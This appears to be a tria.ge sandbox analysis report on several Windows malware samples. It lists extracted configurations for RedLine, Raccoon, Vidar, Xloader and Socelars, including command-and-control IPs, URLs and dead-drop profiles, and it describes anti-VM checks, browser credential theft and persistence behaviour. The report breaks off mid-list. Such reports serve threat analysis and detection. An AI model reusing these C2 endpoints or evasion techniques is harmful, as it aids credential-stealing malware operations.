Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
1022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
226s -
max time network
1205s -
platform
windows10_x64 -
resource
win10-de-20211014 -
submitted
08/11/2021, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-de-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-de-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-de-20211014
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-de-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-de-20211104
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-de-20211104
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-de-20211104
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-de-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-de-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-de-20211104
General
Malware Config
Extracted
socelars
http://www.hhgenice.top/
Extracted
xloader
2.5
s0iw
http://www.kyiejenner.com/s0iw/
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
weespiel.com
babyshell.be
gwynora.com
talkthered.com
f-punk.com
frankmatlock.com
clique-solicite.net
clientloyaltysystem.com
worldbyduco.com
kampfsport-erfurt.com
adndpanel.xyz
rocknfamily.net
ambr-creative.com
wwwks8829.com
thuexegiarehcmgoviet.com
brentmurrell.art
wolf-yachts.com
tenpobiz.com
binnamall.com
crestamarti.quest
terry-hitchcock.com
ocreverseteam.com
taxwarehouse2.xyz
megawholesalesystem.com
epstein-advisory.com
enewlaunches.com
iphone13.community
pianostands.com
newspaper.clinic
alamdave.com
costalitaestepona2d.com
arbacan.com
horikoshi-online-tutoring.net
missingthered.com
ecmcenterprises.com
giaohangtietkiemhcm.com
universidademackenzie.com
kveupcsmimli.mobi
ibellex.com
ikigaiofficial.store
jerseyboysnorfolk.com
xiamensaikang.com
lmnsky.com
bra866.com
Extracted
raccoon
1.8.3-hotfix
19425a9ea527ab0b3a94d8156a7d2f62d79d3b73
-
url4cnc
http://91.219.236.162/bimboDinotrex
http://185.163.47.176/bimboDinotrex
http://193.38.54.238/bimboDinotrex
http://74.119.192.122/bimboDinotrex
http://91.219.236.240/bimboDinotrex
https://t.me/bimboDinotrex
Extracted
redline
45.9.20.149:10844
Extracted
vidar
48.1
937
https://koyu.space/@rspich
-
profile_id
937
Extracted
redline
udptest
193.56.146.64:65441
Extracted
vidar
47.9
933
https://mas.to/@kirpich
-
profile_id
933
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9208 4108 rundll32.exe 179 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9820 4108 rundll32.exe 179 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10144 4108 rundll32.exe 179 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral3/memory/2064-214-0x0000000003660000-0x000000000368E000-memory.dmp family_redline behavioral3/memory/2064-266-0x0000000003A60000-0x0000000003A79000-memory.dmp family_redline behavioral3/memory/4928-357-0x0000000000418D3A-mapping.dmp family_redline behavioral3/memory/2756-311-0x00000000024B0000-0x00000000024DC000-memory.dmp family_redline behavioral3/memory/4484-377-0x0000000004788D4A-mapping.dmp family_redline behavioral3/memory/2756-283-0x0000000002310000-0x000000000233E000-memory.dmp family_redline -
Socelars Payload 2 IoCs
resource yara_rule behavioral3/files/0x000400000001ac23-139.dat family_socelars behavioral3/files/0x000400000001ac23-138.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
description pid Process procid_target PID 3912 created 1296 3912 WerFault.exe 100 PID 2348 created 3080 2348 WerFault.exe 110 -
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
Arkei Stealer Payload 2 IoCs
resource yara_rule behavioral3/memory/2088-328-0x0000000000400000-0x0000000000453000-memory.dmp family_arkei behavioral3/memory/4484-405-0x0000000008B70000-0x0000000009176000-memory.dmp family_arkei -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
resource yara_rule behavioral3/memory/2968-260-0x0000000000400000-0x00000000004D8000-memory.dmp family_vidar behavioral3/memory/4236-392-0x0000000002210000-0x00000000022E6000-memory.dmp family_vidar behavioral3/memory/4236-395-0x0000000000400000-0x00000000004D9000-memory.dmp family_vidar -
Xloader Payload 2 IoCs
resource yara_rule behavioral3/files/0x000400000001ac3f-148.dat xloader behavioral3/files/0x000400000001ac3f-149.dat xloader -
Downloads MZ/PE file
-
Executes dropped EXE 50 IoCs
pid Process 728 MGF06eWV2QxiQ3cG6az4tr31.exe 2328 XfUGHJGj5rWE0ozUme5gWt4O.exe 2548 4N57m2SeL5IiTI5AG0oY8LBW.exe 2756 CmP8WQcQIe09qWeNkvEOhtAh.exe 4092 YyH9SXCqivTrzrPqI3uYJQMd.exe 3036 cdw3osWat18CVPUn7rFB_Pj9.exe 3328 i_L0A7LldAXrsKpzFi5txJoI.exe 2968 PWokcJndamMPSc5Glm9GSVbb.exe 4024 L6I6NKG1SWCIDwWSCHB1rBJU.exe 3224 mbSorhGxB1pNBjghFG36e2Ru.exe 3188 XLxRmbPcDQ4F7J32lIdFDeny.exe 3116 B6Bw0roWFP55xUoOvHs45zOz.exe 2496 IuYBm3lYwBFvWH4EQPU9_Ywq.exe 2684 ofHj9XDxpCLOcd4Ya1bSIs3C.exe 2212 0u2xG04QKCAjjQdTQBYBGzVU.exe 3684 scfT65Yi8gy0dT5r5wdXmZND.exe 2064 _Jl5NRQH_VCxgKevGBMlhDUr.exe 2068 ydWz5wGfm19stkAY4iMIn9Xd.exe 1296 zpFE8L30S3ZheXNi_5l2ALWi.exe 2232 7nRws0NZGWjLcr1qIJ1Igckp.exe 1988 64sJSaHtBgpmY3s9JraLL3AH.exe 1012 rJhMZvnFmewWMgIePRFsY_sA.exe 2088 U8hSQeS66LgtVXmVBPhymyYt.exe 3688 fIluvx59br0pDNhWxyCvlECC.exe 3556 mI2vdU7xMU71GNyMSHNLycKr.exe 3596 QRv0Xx09eP0r7lpAjuMx11pq.exe 3744 A3Rw_r8xR62BWeGihBmsdcHY.exe 912 3W_ChRgsBOU9yBhDHPqm8yDD.exe 3080 MegogoSell_crypted.exe 4048 DownFlSetup110.exe 4100 8pWB.eXE 4236 WW1Soft.exe 4300 L6I6NKG1SWCIDwWSCHB1rBJU.exe 4476 liuchang-game.exe 4836 search_hyperfs_206.exe 5068 RbCJ73zVujImtMJHqjLMBZ0z.exe 4204 setup.exe 4896 cutm3.exe 4928 64sJSaHtBgpmY3s9JraLL3AH.exe 4744 Unseduceability.exe 4740 inst1.exe 4624 mshta.exe 5100 askinstall25.exe 5044 setup_2.exe 2332 Calculator Installation.exe 4908 powershell.exe 5136 7jBCszsahJM8XJ50JwHaOcRd.tmp 5244 chrome update.exe 5372 chrome2.exe 5504 AdvancedRun.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral3/files/0x000400000001ac3d-163.dat vmprotect behavioral3/files/0x000400000001ac3d-162.dat vmprotect behavioral3/memory/2684-298-0x0000000140000000-0x0000000140FFB000-memory.dmp vmprotect -
Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion mI2vdU7xMU71GNyMSHNLycKr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion i_L0A7LldAXrsKpzFi5txJoI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion fIluvx59br0pDNhWxyCvlECC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion A3Rw_r8xR62BWeGihBmsdcHY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 3W_ChRgsBOU9yBhDHPqm8yDD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion A3Rw_r8xR62BWeGihBmsdcHY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion mI2vdU7xMU71GNyMSHNLycKr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion i_L0A7LldAXrsKpzFi5txJoI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion fIluvx59br0pDNhWxyCvlECC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 3W_ChRgsBOU9yBhDHPqm8yDD.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe -
Loads dropped DLL 7 IoCs
pid Process 5068 RbCJ73zVujImtMJHqjLMBZ0z.exe 5068 RbCJ73zVujImtMJHqjLMBZ0z.exe 4624 mshta.exe 2332 Calculator Installation.exe 2332 Calculator Installation.exe 2332 Calculator Installation.exe 2332 Calculator Installation.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral3/files/0x000400000001ac1c-140.dat themida behavioral3/files/0x000400000001ac4c-191.dat themida behavioral3/files/0x000400000001ac4e-195.dat themida behavioral3/files/0x000a00000001ac44-201.dat themida behavioral3/files/0x000400000001ac4a-200.dat themida behavioral3/memory/3328-239-0x0000000000E60000-0x0000000000E61000-memory.dmp themida behavioral3/memory/3688-265-0x0000000000380000-0x0000000000381000-memory.dmp themida behavioral3/memory/3744-302-0x0000000001270000-0x0000000001271000-memory.dmp themida behavioral3/memory/3556-301-0x00000000000D0000-0x00000000000D1000-memory.dmp themida behavioral3/memory/912-281-0x00000000008E0000-0x00000000008E1000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA i_L0A7LldAXrsKpzFi5txJoI.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fIluvx59br0pDNhWxyCvlECC.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mI2vdU7xMU71GNyMSHNLycKr.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3W_ChRgsBOU9yBhDHPqm8yDD.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA A3Rw_r8xR62BWeGihBmsdcHY.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 252 ip-api.com 25 ipinfo.io 164 ipinfo.io 571 ipinfo.io 572 ipinfo.io 1182 ipinfo.io 1186 ipinfo.io 24 ipinfo.io 165 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
pid Process 3328 i_L0A7LldAXrsKpzFi5txJoI.exe 3688 fIluvx59br0pDNhWxyCvlECC.exe 3556 mI2vdU7xMU71GNyMSHNLycKr.exe 912 3W_ChRgsBOU9yBhDHPqm8yDD.exe 3744 A3Rw_r8xR62BWeGihBmsdcHY.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3224 set thread context of 2540 3224 mbSorhGxB1pNBjghFG36e2Ru.exe 9 PID 4024 set thread context of 4300 4024 L6I6NKG1SWCIDwWSCHB1rBJU.exe 112 PID 1988 set thread context of 4928 1988 64sJSaHtBgpmY3s9JraLL3AH.exe 127 PID 3080 set thread context of 4484 3080 MegogoSell_crypted.exe 118 -
Drops file in Program Files directory 6 IoCs
description ioc Process File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe YyH9SXCqivTrzrPqI3uYJQMd.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe YyH9SXCqivTrzrPqI3uYJQMd.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe B6Bw0roWFP55xUoOvHs45zOz.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe B6Bw0roWFP55xUoOvHs45zOz.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe B6Bw0roWFP55xUoOvHs45zOz.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini B6Bw0roWFP55xUoOvHs45zOz.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\System\xxx1.bak ofHj9XDxpCLOcd4Ya1bSIs3C.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
pid pid_target Process procid_target 3912 1296 WerFault.exe 100 2348 3080 WerFault.exe 110 5640 5044 WerFault.exe 131 5976 5044 WerFault.exe 131 3640 5044 WerFault.exe 131 6104 5044 WerFault.exe 131 5816 2088 WerFault.exe 98 8068 4236 WerFault.exe 113 -
NSIS installer 6 IoCs
resource yara_rule behavioral3/files/0x000400000001ac4b-198.dat nsis_installer_1 behavioral3/files/0x000400000001ac4b-198.dat nsis_installer_2 behavioral3/files/0x000400000001ac4b-203.dat nsis_installer_1 behavioral3/files/0x000400000001ac4b-203.dat nsis_installer_2 behavioral3/files/0x000400000001ac89-339.dat nsis_installer_1 behavioral3/files/0x000400000001ac89-339.dat nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 4N57m2SeL5IiTI5AG0oY8LBW.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 4N57m2SeL5IiTI5AG0oY8LBW.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 4N57m2SeL5IiTI5AG0oY8LBW.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1892 schtasks.exe 7932 schtasks.exe 4160 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 7452 timeout.exe 3804 timeout.exe -
Kills process with taskkill 7 IoCs
pid Process 8836 taskkill.exe 7972 taskkill.exe 5140 taskkill.exe 4384 taskkill.exe 6720 taskkill.exe 7312 taskkill.exe 8792 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 816 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe 728 MGF06eWV2QxiQ3cG6az4tr31.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 3224 mbSorhGxB1pNBjghFG36e2Ru.exe 3224 mbSorhGxB1pNBjghFG36e2Ru.exe 3224 mbSorhGxB1pNBjghFG36e2Ru.exe 2548 4N57m2SeL5IiTI5AG0oY8LBW.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeAssignPrimaryTokenPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeLockMemoryPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeIncreaseQuotaPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeMachineAccountPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeTcbPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeSecurityPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeTakeOwnershipPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeLoadDriverPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeSystemProfilePrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeSystemtimePrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeProfSingleProcessPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeIncBasePriorityPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeCreatePagefilePrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeCreatePermanentPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeBackupPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeRestorePrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeShutdownPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeDebugPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeAuditPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeSystemEnvironmentPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeChangeNotifyPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeRemoteShutdownPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeUndockPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeSyncAgentPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeEnableDelegationPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeManageVolumePrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeImpersonatePrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeCreateGlobalPrivilege 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: 31 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: 32 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: 33 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: 34 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: 35 3036 cdw3osWat18CVPUn7rFB_Pj9.exe Token: SeDebugPrivilege 3224 mbSorhGxB1pNBjghFG36e2Ru.exe Token: SeDebugPrivilege 2068 ydWz5wGfm19stkAY4iMIn9Xd.exe Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeDebugPrivilege 4048 DownFlSetup110.exe Token: SeDebugPrivilege 2756 CmP8WQcQIe09qWeNkvEOhtAh.exe Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeRestorePrivilege 3912 WerFault.exe Token: SeBackupPrivilege 3912 WerFault.exe Token: SeShutdownPrivilege 